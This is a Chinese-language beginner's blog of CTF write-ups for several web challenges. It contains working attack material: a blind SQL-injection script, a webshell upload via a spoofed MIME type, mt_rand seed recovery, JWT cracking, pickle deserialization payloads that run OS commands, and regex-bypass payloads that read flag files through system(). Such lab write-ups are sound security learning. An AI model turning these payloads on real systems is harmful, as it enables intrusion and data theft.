初学者的一些做题记录
[Zer0pts2020]Can you guess it? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include 'config.php' ; if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }$secret = bin2hex (random_bytes (64 ));if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if (hash_equals ($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } }?>
代码其实很好理解。一开始以为hash_equals
存在绕过。。后来才知道考的是basename
绕过:
先了解一下$_SERVER['PHP_SELF']
这东西干啥用的(参考https://www.shawroot.cc/937.html和https://www.cnblogs.com/Article-kelp/p/16045800.html)
$_SERVER[‘PHP_SELF’]:相对于网站根目录的路径及 PHP 程序名称。
1 2 3 4 5 6 网址:https:// www.shawroot.cc/php/i ndex.php/test/ foo?username=root$_SERVER [‘PHP_SELF’] 得到:/php/i ndex.php/test/ foo$_SERVER [‘SCRIPT_NAME’] 得到:/php/i ndex.php$_SERVER [‘REQUEST_URI’] 得到:/php/i ndex.php/test/ foo?username=root basename()函数就是获取路径中的文件名部分
利用点就是这个basename
,根据这段代码:
1 2 3 4 if (isset ($_GET ['source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }
我们可以知道如果令basename($_SERVER['PHP_SELF'])是config.php
就能拿到flag
。我们可以构造URL:http://7a610bd9-e609-454a-a18c-d1e340cfde4a.node4.buuoj.cn:81/index.php/config.php?source=1(注意这个index.php,最开始我没加)
:
再看上面那段代码:
1 2 3 if (preg_match ('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }
先去掉正则匹配中的转义符号会好理解一些:
1 2 3 4 5 if (preg_match ('/config.php/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); }
/config.php/*$/i
这部分的意思就是不区分大小写匹配config.php/
结尾的字符串(其中/匹配零次或多次)
。这样以来就限制了我们利用highlight_file
函数去拿flag。但我们可以利用某些字符串绕过正则:basename()会去掉不可见字符 ,Fuzz
一下不可见字符,然后随便取一个就行:
1 2 3 4 5 6 7 8 9 10 11 <?php for ($i =0 ;$i <256 ;$i ++){ $filename = 'config.php/' .chr ($i ); if (basename ($filename ) === 'config.php' ){ echo urlencode (chr ($i )); echo "<br/>" ; } }?>
1 2 3 <?php define ('FLAG' , 'flag{2c11cab3-0cfc-4f3d-ac4e-87969e74320e}' );
index.php/config.php/%ff?source=1
经过$_SERVER['PHP_SELF']
变成index.php/config.php/%ff
()这里不会触发正则),然后basename
去掉不可见字符得到config.php
[WUSTCTF2020]颜值成绩查询 随便输个student number
,注意URL
:
初步判断SQL
注入,通过1'--+/1'%23/1 --+ /1%23
判断是数字型注入
?stunum=1 and 1--+
?stunum=1/**/and/**/0 --+
:(过滤空格,0换成1有回显)
尝试了堆叠注入没结果。。试了试if(length(database())>1,1,0)
?stunum=if(length(database())>99,1,0)
布尔盲注,可以通过页面回显判断if
语句正确与否:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport time url = 'http://622046c8-08bf-4bd2-8873-9d43830c90c6.node4.buuoj.cn:81/' result='' for i in range (1 ,50 ): low=31 high=127 mid = (low+high)//2 while low<=high: paylaod = {"stunum" :"if(ascii(substr((select(value)from(ctf.flag)),{},1))>{},1,0)" .format (i,mid)} r = requests.get(url=url,params=paylaod) if ("admin" in r.text): low = mid+1 mid = (low+high)//2 else : high = mid-1 mid = (low+high)//2 result+=chr (high+1 ) print (result) time.sleep(0.3 )
简单说一下二分法原理,首先是设置low=31
和high=127
:ASCII
码中可见字符的范围是32-126
。
自己写个字典放进去遍历也行。
min = mid +1
和 max = mid
:
当判断 mid
大于某个值的结果为 true
时, 这个所求值肯定是比mid
要大的 (大于), 所以是 mid + 1
当结果为 false
时, 所求值应该是不超过mid
(小于等于), 所以是 max = mid
经过多次循环后让high
比low
小,这时的high
就是我们需要的数据。
可以自己在草稿纸上过一下过程。
这题手注也可以:参考https://blog.csdn.net/weixin_61355725/article/details/126518079
[WUSTCTF2020]CV Maker
先随便注册一个用户,登录:
发现有上传文件的功能,猜测文件上传漏洞:
我点更换头像然后随便上传了个一句话。。卡住了刷新页面就出了这么个东西
妈的这题我环境有问题。。明明登录了他一直给我弹Please Login
啥的。。烦死了,而且有时点按钮啥反应不给
exif_imagetype
这东西就是个MIME
过滤,上传一句话后抓包改一下content-type
就行
上传后会返回一个路径,访问然后蚁剑连接
[GWCTF 2019]枯燥的抽奖
右键看源码也没啥提示,试着输入一些字符串然后抓包:
明文传输,不过可以看到右边好像返回了部分PHP
代码?
我回到原页面并没有啥新东西,F12
打开网络,重新发数据后发现有这么个东西:
访问check.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 JXRHwWFvH5 没抽中哦,再试试吧<?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 ); }mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); }$str_show = substr ($str , 0 , 10 ); echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } }show_source ("check.php" );
强等于绕过肯定不要想了,搜了一下mt_rand
绕过:https://www.freebuf.com/vuls/192012.html
重点就是mt_rand
这东西由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
给了序列和前十位,我们先将前十位还原成为生成的随机数,然后拼接形成php_mt_seed
需要的参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$string ='B8F2IQkNd6' ;$len1 =10 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){$pos =strpos ($str_long1 ,$string [$i ]); echo $pos ." " .$pos ." 0 61 " ; }?> mt_srand (547943121 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); }echo ($str );
利用种子生成随机数再生成密码后注意和前十位对一下(PHP版本不同生成的结果不同)
[watevrCTF-2019]Cookie Store 商店类型题目:
最开始有50
,购买FLAG
需要100
,购买时抓包看下过程:
注意这段cookie
,数字大小写字母混合等号结尾,看着像base64
,解码:
以JSON
格式存有钱和历史购买记录,直接修改money
为10000
:
购买flag
然后把cookie
换了就行,买完flag
是多少会自己显示。
[CISCN2019 华北赛区 Day1 Web2]ikun 题目提示python,pickle
,应该是pickle
的反序列化漏洞
目测是要通过数据包修改买个lv6
的账号,不过这个账号有很多页要一页一页翻(也可以写个脚本试试)?先注册看看怎么个事:
可以看到刚进去我们是有1000
的启动资金,页面URL:http://7e29da18-470a-4d1c-99c1-70e88eff89f1.node4.buuoj.cn:81/shop?page=2
,写个脚本找lv6
的界面:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport timeimport refor i in range (1 ,250 ): time.sleep(0.2 ) url = 'http://ba07199e-5e59-4fe6-9118-5e18bdb18360.node4.buuoj.cn:81/shop?page=' + str (i) res = requests.get(url) if 'lv6' in res.text: print (f'{i} ' ) break else : continue
最开始这个脚本跑的时候直接回显了1
,但第一页并没有lv6
这个东西,我加了个print(r.text)
看看怎么个事:
可以看到这里的字符实在太多,可能有其它东西触发了lv6
这个关键字,看了源码发现它的lv
是有一定格式的,比如:
所以把lv6
改成lv6.png
就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport timeimport refor i in range (1 ,250 ): time.sleep(0.2 ) url = 'http://ba07199e-5e59-4fe6-9118-5e18bdb18360.node4.buuoj.cn:81/shop?page=' + str (i) res = requests.get(url) if 'lv6.png' in res.text: print (f'{i} ' ) break else : continue
果然在181
页发现了我们需要的:
很明显我们钱不够,抓包看看能不能修改啥的:
注意这里的price
和discount
,我们只有一千块,我一开始把价格改成1
了但发现不行。。只能通过修改折扣购买(0.0000000001):
其实是个302重定向,定向到了b1g_m4mber
页面,但提示我们只有admin
可以访问:
其实这里就有点思路了,根据题目提示python,pickle
现在只允许管理员访问,那大概率是在cookie
中找线索了(注意这里的JWT
字段):
先把JWT
解码:(https://www.bejson.com/jwt/)
可以看到这段JWT
是包含着我们用户名的数据,我一开始想的是肯定有什么字段包含着guest
之类的东西,然后把它改成admin
加密传过去。。但捣鼓了半天不知道这个字段藏在哪了,后面参考了其它师傅的wp发现原来改个username
就行。。。先利用jwtcrack
爆破这个JWT
:
1Kun
点这个成为大会员的按钮没啥反应。。看源码有这么个东西:
访问ef235c7d-6775-4801-a866-8532c547a07c.node4.buuoj.cn:81/static/asd1f654e683wq/www.zip
,下载源码:
根据提示我们找和pickle
有关的序列化反序列化操作就行:
pickle.loads
存在于Admin.py
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler (BaseHandler ): @tornado.web.authenticated def get (self, *args, **kwargs ): if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
注意这部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 )import pickleimport osimport urlib.parseclass Note (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('ls').read()" ,)) a = pickle.dumps(Note()) a = urllib.parse.quote(a)print (a)
这段代码在我的Kali
下可以运行,但放到题目中没用,不知道啥原因去看了wp
:
题目的源码是用python2写的,而且pickle这东西不支持跨版本操作,至于为什么是python2可以从下面这几个例子看出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 except Exception as ex: print str (ex) p = pickle.loads(urllib.unquote(become)) import pickleimport osimport urllibclass Note (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('ls').read()" ,)) a = pickle.dumps(Note()) a = urllib.quote(a)print a
后面就不详细写了,改成ls /
然后cat /flag.txt
读就行
其实这道题payload
的写法很多,我觉得我这个并不好(因为直接利用了import
和os
,感觉在有些题中会被过滤掉。。这里补充一些其他师傅的payload
)
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibimport commandsclass payload (object ): def __reduce__ (self ): return (commands.getoutput,('ls /' ,)) a = payload()print (urllib.quote(pickle.dumps(a)))
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibclass Test (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt','r').read()" ,)) a = Test() s = pickle.dumps(a)print (urllib.quote(s))
[FBCTF2019]RCEService
要求输入必须是JSON
格式,类似{“xxx”:”xxx”}这样,如果后面那个是要执行的命令那前面的键该是多少?题目也没啥提示。。找了wp
发现这题其实是给了源码的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } }?>
Enter command as JSON
:{"cmd"%3A"ls"}
:
首先是putenv('PATH=/home/rceservice/jail')
这东西,将环境变量 PATH
的值设置为 /home/rceservice/jail
。在操作系统中,PATH
环境变量通常用于指定可执行程序的搜索路径。通过将 PATH
设置为 /home/rceservice/jail
,可以指定系统在执行命令时只在该目录中查找可执行文件。
putenv 相当于一个简陋的沙盒, 让 shell 默认从 /home/rceservice/jail下寻找命令, 后面看的时候发现这个目录下只有一个 ls, 但其实使用绝对路径执行命令 (/bin/cat) 就能够绕过限制了 //参考:https://exp10it.cn/2022/09/buuctf-web-writeup-5/#fbctf2019rceservice
绕过的话有两种方法,一种是是回溯绕过,第二种就是%0A
换行绕过。
参考文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html?page=1#reply-list
https://www.cnblogs.com/yjken/articles/3922339.html
大致意思就是我们可以通过构造超级长的字符串让preg_match
执行失败返回False
。这样如果未对结果进行强等于判断===
就可以实现绕过。
1 2 3 4 5 6 7 8 9 10 11 12 import requestsimport json url = 'http://d74b595f-f641-43c5-87fb-36ddfabc88f0.node4.buuoj.cn:81/' data = { "cmd" : r'{"cmd":"ls /home/","aa":"' + 'a' *1000000 +'"}' } res = requests.post(url,data=data)print (res.text)
并没有flag
,不过我们可以调用find
命令查找flag
所在位置:
1 2 3 4 5 6 7 8 9 10 11 import requestsimport json url = 'http://2b9721df-0252-42a0-a191-016990b2c6b0.node4.buuoj.cn:81/' data = { "cmd" : r'{"cmd":"/usr/bin/find / -name flag*","aa":"' + 'a' *1000000 +'"}' } res = requests.post(url,data=data)print (res.text)
1 2 3 4 5 6 7 8 9 10 11 import requestsimport json url = 'http://2b9721df-0252-42a0-a191-016990b2c6b0.node4.buuoj.cn:81/' data = { "cmd" : r'{"cmd":"/bin/cat /home/rceservice/flag","aa":"' + 'a' *1000000 +'"}' } res = requests.post(url,data=data)print (res.text)
flag{81327f89-050f-46f1-ae16-177e1da4ac08}
换行绕过主要就是.
这个东西不会去匹配换行符,一开始想的是构造的payload
必须符合JSON
这东西的格式,想了挺久不知道该把换行符放哪。
最开始没看懂师傅们的wp
怎么写的,想了一下这东西其实就可以看成:
1 2 3 4 { %0 A"cmd" : "/bin/cat /home/rceservice/flag" %0 A} { "cmd" : "/bin/cat /home/rceservice/flag" }
还有其它两种:
1 2 3 %0A%0A{"cmd" : "/bin/cat /home/rceservice/flag" }%0A%0A` ` {%0A"cmd" :%0A"/bin/cat /home/rceservice/flag" }
参考文章:https://www.cnblogs.com/20175211lyz/p/12198258.html
https://www.cnblogs.com/Article-kelp/p/16046129.html